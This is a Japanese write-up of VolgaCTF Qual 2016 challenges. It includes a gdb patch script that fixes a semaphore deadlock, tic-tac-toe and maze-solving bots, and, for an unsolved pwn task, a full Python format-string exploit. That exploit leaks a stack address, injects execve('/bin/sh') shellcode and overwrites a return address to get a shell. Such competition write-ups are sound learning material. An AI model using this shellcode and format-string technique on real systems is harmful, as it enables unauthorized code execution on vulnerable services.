volgactf-qual-2016のwriteupのwriteupとか
先日あった,volgactf-qual-2016に参加したのでそのwriteupです。
解けたの
REV::broken
elfファイルが与えられるので解析する問題。
複数スレッドを立ち上げていて、ふつうに実行すると、30秒ほどして "The processing has taken too long, terminating the process..." と表示されて終わってしまう。
いろいろ見ていくと、中でセマフォ(鉄道の通票みたいな仕組み)を使ってスレッド制御をしていることがわかる。
よく読んでみるとおおまかに
th3(){ 0x400f40 sem_init(0x603500,0,0); sem_init(0x6034e0,0,0); sem_init(0x6034c0,0,0); //セマフォの作成 create_thread(f1); create_thread(f2); wait(34c0); //セマフォが解放されるまで待って、取っていく wait(34c0); なんやかや(); post(3500); //セマフォを増やす post(34e0); wait(34c0); wait(34c0); なにがしか(); post(3500); post(34e0); } f1(){ 0x400ed0 for(;;){ post(34c0); wait(3500); dosomething() } } f2(){ 0x4012c0 for(;;){ post(34c0); wait(3500); dosomething2() } }
みたいなことをしているのがわかる。
はい、デッドロックに陥りますね。
おそらく、f1とf2が歩調を合わせて実行されることを想定して書かれているのだけれど、3500と34e00のセマフォがpostされているのに、どっちも3500のセマフォをwaitしているので3500のセマフォが足らなくなっている。
で、f1とf2のどちらかが34e00のセマフォをwaitするように修正してやればいいのだが、バイナリエディタでいじって実行するとなんでかプログラムが起動しなくなってしまう。(チェックサムかなにかに引っかかった?)
ので、gdb.executeとかで実行時にがりがり書き換えて実行してやる、とflagが出てくる。pythonは神。
import sys gdb.execute('b *0x400b20') gdb.execute('r') gdb.execute('b *0x400f16') gdb.execute('c') for i in range(1,100): gdb.execute('set $edi=0x6034e0') gdb.execute('c') #VolgaCTF{avoid_de@dl0cks_they_br3ak_your_@pp}
PPC::tic-tac-toe
三目並べを向こうのAIと2000戦して勝てというもの。
向こうのAIがわりと雑なので、こちらも雑なAIの実装で十分。(天元に対して辺に打ってはいけない、とかそういうとこまでしなくてよい)
import socket import time sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(('tic-tac-toe.2016.volgactf.ru', 45679)) def get(): s = sock.recv(1024) print "GETSTR:" print s return s def send(s): print "SEND: '" + s + "'" sock.send(s + "\n") time.sleep(0.01) sor = [[0,1,2],[3,4,5],[6,7,8],[0,3,6],[1,4,7],[2,5,8],[0,4,8],[2,4,6]] def retbes(dat): ns,ng=0,0 for c in dat: if c=='X': ns += 1 else: ng += 1 if ns==ng: nc = 'X' else: nc = 'O' bes = (-2,-2) for p in sor: c = dat[p[0]] if c==' ': continue ok = 1 for j in p: if dat[j]!=c: ok = 0 if ok==1: print 'finished' return -2 #print p, for i in xrange(9): if dat[i]!=' ': continue ne = 0 td = dat[:i] + [nc] + dat[i+1:] nb = (-1,i) for p in sor: ok = 1 for j in p: if td[j]!=nc: ok = 0 if ok==1: return i for p in sor: ms = 0 ts = 0 for j in p: if td[j]!=' ': if td[j]==nc: ms += 1 else: ts += 1 if j==i and ms==1 and ts==2: nb = (0,i) if bes<nb: bes = nb #print td #return i print 'nbes .. ',bes return bes[1] def getres(s): while 1: ts = s[-10:][:5] if len(ts)>=5: if ts[0]=='|' and ts[4]=='|': break if(len(s)<=0): print 'sleep' time.sleep(1) s = get() s = s[-61:] v = [1,5,9,25,29,33,49,53,57] dat = map(lambda i: s[i],v) print dat return retbes(dat) print 'connecting' get() send('abeegegeg') get() while 1: r = getres(get()) if r!=-2: send(str(r)) #VolgaCTF{tic_t@c_t0e_is_the_e@rly_step_t0wards_AI}
PPC::amaze
迷路と現在地が与えられるので自分を脱出させる問題。
[[0] * w] * h みたいに二次元配列を作ってはならない、のトラップにはまってしまって辛かった。pythonはダメ。
import socket import time sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(('amazing.2016.volgactf.ru', 45678)) def get(): s = sock.recv(16384) print "GETSTR:" print s return s def send(s): print "SEND: '" + s + "'" sock.send(s + "\n") time.sleep(2) def getmap(): i = 0 ts = [] rn = 0 while 1: s = get().split("\n") for p in s: if len(p)==0: rn += 1 else: rn = 0 if len(p)>120: i = 1 ts.append(p) else: if i==1: return ts if rn>=50: raise 'nmaybe i failed' dd = [(2,0),(0,4),(-2,0),(0,-4)] cs = ['d','r','u','l'] def gett((y,x),i): return (y + dd[i][0],x + dd[i][1]) def cango((m,h,w),(y,x),d): #print 'Q .. ',(y,x),d (ty ,tx) = gett((y,x),d) if ty<0 or ty>=h or tx<0 or tx>=w: return False if m[ty][tx]=='#': return True if m[(y+ty)/2][(x+tx)/2]!=' ': return False return True def dfs(b,gone,(y,x)): if b[0][y][x]=='#': return '' if y+2==b[1] and x+3==b[2]: return 'r' #print gone if gone[y][x]: return None #print 'no..' , (y,x) gone[y][x]=1 for i in xrange(4): if not cango(b,(y,x),i): continue t = gett((y,x),i) s = dfs(b,gone,t) if s != None: return cs[i] + s return None def outgone(g,h,w): for y in xrange(h): s = "" for x in xrange(w): c = '##' if g[y][x]==1: c = '..' s += c print s def resd(m): h = len(m) w = len(m[0]) #gone = [[0] * w] * h python trap gone = [[0 for i in range(w)] for j in range(h)] for y in xrange(h): for x in xrange(w): if m[y][x]=='*': sy,sx = y,x ''' print gone print sy print sx print gone exit(-1) ''' print 'start',(sy,sx) gone[sy][sx]=1 for i in xrange(4): if not cango((m,h,w),(sy,sx),i): continue t = gett((sy,sx),i) print 'tes ..',t s = dfs((m,h,w),gone,t) if s != None: s = cs[i] + s print 'ok .. ',s return s outgone(gone,h,w) print 'connecting' while 1: c = resd(getmap()) send(c) #VolgaCTF{eurisco!}
だいぶやったけど解けなかったの
PWN::web_of_science
論文登録サイトみたいなのが向こうで動いているのでそれをexploitするもの。
%sとかを打ち込んで試してみると、書式指定子攻撃ができると分かる。
(getsで入力しているのでバッファオーバーフローもあるのだが、カナリアがいるので今回はこちらの脆弱性は使えない)
で、何回でも書式指定子攻撃ができるのでスタックのアドレスをleakさせることができる。
あと、NXとかの対策がないのでスタック上のシェルコードも実行することができる。
よって、『スタックのアドレスをリーク』->『スタック上にシェルコードを仕込む』->『適当な関数での戻りアドレスをシェルコード上に移す』
とすれば解ける...はずだったのだけれど、なんでか手元ではうまく動くのに向こうではうまく動いていないっぽい。なんでや。(pwn系の問題のデバッグの仕方が分からないのでだれか教えてください...)
import socket import time sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(('webofscience.2016.volgactf.ru', 45678)) #sock.connect(('localhost', 8421)) def get(p=0.5): time.sleep(p) s = sock.recv(1024) print "GETSTR:" , s return s def send(s): print "SEND:",s sock.send(s + "\n") get(0.5) send('a') v = [] for i in xrange(10): while True: s = get(0.1) ps = s.split("\n") tps = [] for p in ps: if p=='' or p[0:3]=='Alr': continue tps.append(p) v += tps if len(v)>=2: break print v p = v[-2].split(' ') v = v[2:] a,b = int(p[0]),int(p[2]) send(str(a + b)) get() send('1') get() send('3') get() #leak stack leak = ('%8$lx,') send(leak) get() send('5') #raw_input() s = get() s = s[40:52] print s shelp = int(s,16) - 0x310 #staretp = int(s,16) + 0x8 staretp = int(s,16) - 0x488 #ints #insert shellcode print hex(shelp),hex(staretp) def addtostr(add): res = "" for i in xrange(8): res += chr(add % 256) add /= 256 return res shc = "" for i in xrange(8): shc += addtostr(staretp) staretp += 1 #from momotech http://inaz2.hatenablog.com/entry/2014/07/04/001851 shc += "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05" send('2') get() send(shc) get() #retadddr override ove = "" o2 = "" nsp = shelp sp = 0 for i in xrange(6): tp = nsp % 256 nsp /= 256 o2 += ('%' + str((tp-sp+0x100)%0x100) + 'c') sp = tp o2 += ('%' + str(i + 0x130/8 + 10) + '$hhn') #o2 = ('0x%' + str(0 + 0x230 + 12) + '$x') + ('0x%' + str(1 + 0x230 + 12) + '$x') ove += o2 print ove send('3') get() send(ove) get() send('5') #raw_input() get() send('ls') send('pwd') get(3) get(3) get(3) s = get(100)
宣伝
理論科学グループでは、CTFに関する技術を学ぶCTF分科会などもやっています。